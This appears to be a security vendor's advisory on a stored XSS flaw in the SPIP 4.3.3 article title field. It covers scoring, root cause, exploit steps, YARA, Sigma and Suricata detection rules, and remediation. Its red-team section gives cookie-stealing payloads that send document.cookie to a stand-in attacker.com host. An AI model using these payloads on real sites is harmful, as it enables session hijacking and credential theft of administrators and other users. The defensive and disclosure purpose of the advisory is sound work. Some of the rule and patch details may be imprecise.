CVE-2024-53620

Executive Summary

CVE-2024-53620 is a stored Cross-Site Scripting (XSS) vulnerability discovered in the Article module of SPIP v4.3.3. An authenticated attacker with article creation or editing privileges can inject arbitrary JavaScript or HTML into the Title parameter. When other users (including administrators) view the affected article, the injected payload executes in their browser context. This can lead to session hijacking, credential theft, or defacement. The vulnerability is unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

SPIP is a PHP-based content management system distributed via its official website and GitHub. The vulnerable version (4.3.3) is the latest stable release. No patched version exists. Users relying on package managers (e.g., Composer) or direct downloads are at risk. The lack of a CVE-specific patch means the supply chain is currently compromised for this version.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must view the article)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authentication but can lead to significant impact if an administrator views the malicious article.

Deep Dive & Mechanics

The vulnerability resides in the Title field of the Article module. SPIP does not properly sanitize or encode user-supplied input before storing it in the database and later rendering it in HTML. When an article is displayed, the title is output without escaping, allowing HTML and JavaScript to be injected.

Attack Flow:

1. Attacker authenticates to SPIP with article creation privileges.
2. Attacker creates a new article and sets the Title to a malicious payload, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the database.
4. When any user (including admin) views the article list or the article itself, the payload executes in their browser.

Root Cause: Lack of output encoding in the template rendering the article title. SPIP uses its own templating engine (squelettes) which does not automatically escape variables.

Vulnerable vs. Patched Code

Vulnerable Code (SPIP 4.3.3): In the article template (e.g., article.html), the title is output directly:

<h1>[(#TITRE)]</h1>

The #TITRE variable is not escaped.

Patched Code (Hypothetical): The title should be escaped using SPIP's |texte_backend or |attribut filters:

<h1>[(#TITRE|texte_backend)]</h1>

Or using PHP's htmlspecialchars() in the core code before rendering.

Exploitation & Lab Setup

Red Team

Prerequisites:

• SPIP 4.3.3 instance
• Authenticated session with article creation rights

Exploit Steps:

1. Log in to SPIP.
2. Navigate to ecrire/?exec=articles&new=oui.
3. Set the titre field to:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Publish the article.
5. Wait for an admin to view the article list or the article itself.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?c='+document.cookie">

Blue Team

Detection:

• Monitor HTTP requests to /ecrire/ for unusual titre parameters containing <script> or onerror.
• Review database entries in the spip_articles table for suspicious titre values.

Hunting:

• Search logs for POST requests to ?exec=articles with titre containing HTML tags.
• Use the Sigma rule below to detect payloads in web server logs.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /ecrire/?exec=articles with titre containing <script>, <img onerror, or similar.
• Host: Database entries in spip_articles.titre containing unescaped HTML/JavaScript.
• File: Modified article templates (.html files) that output #TITRE without escaping.
• Logs: Web server access logs showing titre=<script> in the query string.

Detection Engineering

YARA Rule

rule CVE_2024_53620_SPIP_XSS {
    meta:
        description = "Detects XSS payloads in SPIP article titles"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53620"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /<img[^>]*onerror\s*=/i
        $payload3 = /<svg[^>]*onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: SPIP Article Title XSS Payload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts in SPIP article title parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'exec=articles'
        cs-uri-query|contains|all:
            - 'titre='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in titles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-53620 SPIP Article Title XSS Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/ecrire/";
    http_uri;
    content:"exec=articles";
    http_uri;
    pcre:"/titre=.*<script/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2024-53620;
)

Remediation & Mitigation

Immediate Actions:

1. Disable article creation for untrusted users until a patch is available.
2. Apply a WAF rule to block titre parameters containing <script> or event handlers.
3. Manually patch the template files by adding |texte_backend to #TITRE in all article-related templates.

Long-term:

• Monitor SPIP's official channels for a security update.
• Consider migrating to a supported CMS if no patch is released.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround: Edit the core file ecrire/inc/articles.php and add htmlspecialchars() around the title before database insertion:

$titre = htmlspecialchars($_POST['titre'], ENT_QUOTES, 'UTF-8');

Valters IT
Securing Digital Frontiers